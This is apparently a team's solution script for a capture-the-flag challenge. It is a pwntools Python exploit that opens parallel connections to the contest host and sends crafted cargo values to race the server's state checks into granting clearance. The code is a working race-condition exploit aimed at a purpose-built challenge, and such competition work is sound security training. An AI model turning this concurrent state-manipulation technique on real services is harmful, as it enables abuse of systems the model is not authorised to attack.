CSR Quals 2023 - PCAS exploit (KITCTF)

exploit.py

from pwn import *

COUNTER = 0

# Get ticket
with remote('rumble.host', 3284) as init:
    init.recvline()
    init.sendline(b'00000000')
    init.recvuntil(b"Your ticket is: ")
    TICKET = init.recvline()[:-1]

while True:
    NUM_CONNS = 10
    connections = [0]* NUM_CONNS
    num_containers = [0]* NUM_CONNS
    weights = [0]* NUM_CONNS
    loaded = [0]* NUM_CONNS

    reserve = None

    def spawn_connection() -> remote:
        new_conn = remote('rumble.host', 3284)
        new_conn.recvline()
        new_conn.sendline(TICKET)
        return new_conn

    def get_containers(conn: remote):
        conn.recvuntil(b"Anchorage.\n\n")
        if conn.recv(2) == b"We":
            conn.recvuntil(b"inconvenience: ")
            print(conn.recvline()[:-1].decode())
            exit(0)
        
        conn.recvuntil(b'callsign:')
        conn.sendline(b'SPIN')

        conn.recvuntil(b'containers: ')
        return int(conn.recvline(keepends=False).decode())

    def get_weight(conn):
        conn.recvuntil(b'weight: ')
        return int(conn.recvline(keepends=False).decode())

    def send_few_cargo(conn, num_con, weight):
        for i in range((num_con // 2)+1):
            cmd = f"{weight} 10000"

            conn.sendline(cmd.encode())
        pass

    def send_more_cargo(conn, num_con, weight):
        for i in range(num_con):
            cmd = f"{weight//4} 10000"

            conn.sendline(cmd.encode())
        pass

    for i in range(NUM_CONNS):
        connections[i] = spawn_connection()
    reserve = spawn_connection()

    for i, conn in enumerate(connections):
        num_containers[i] = get_containers(conn)
        weights[i] = get_weight(conn)

    print(num_containers)
    print(weights)

    weights_copy = weights.copy()
    weights_copy.sort()
    middle = weights_copy[len(weights)//2]


    for i, conn in enumerate(connections):
        if weights[i] >= middle:
            send_few_cargo(conn, num_containers[i], weights[i])
        else:
            send_more_cargo(conn, num_containers[i], weights[i])

    for i, conn in enumerate(connections):
        conn.sendline(b'END')

    for i, conn in enumerate(connections):
        conn.recvuntil(b"Cargo weight is ")
        loaded[i] = int(conn.recvline()[:-2])

        if loaded[i] != weights[i]:
            print(i, loaded[i], weights[i], middle)


    for i, conn in enumerate(connections):
        conn.recvuntil(b'Requesting taxi clearance...\n')
        clearance = conn.recvline()

        if loaded[i] <= weights[i]:
            conn.sendline(b"CANCEL")


    for i, conn in enumerate(connections):
        if loaded[i] > weights[i]:
            reserve.recvuntil(b'callsign:')
            reserve.sendline(b'SPIN')
            reserve.recvuntil(b"cargo data")
            print("Reserve activated!")

            conn.sendline()
            clearance = conn.recvline()

            if clearance == b'Taxi clearance granted. Press Enter to taxi.\n':
                print("Hooray!")
                conn.sendline()
                print(conn.recvline())
                print(conn.recvline())
                print(conn.recvline())
                COUNTER += 1
            else:
                print("Failed!")
            
            break

    for conn in connections:
        # conn.sendline(b"CANCEL")
        conn.close()
    reserve.close()
    


with remote('rumble.host', 3284) as conn:
    conn.sendline(TICKET)
    conn.interactive()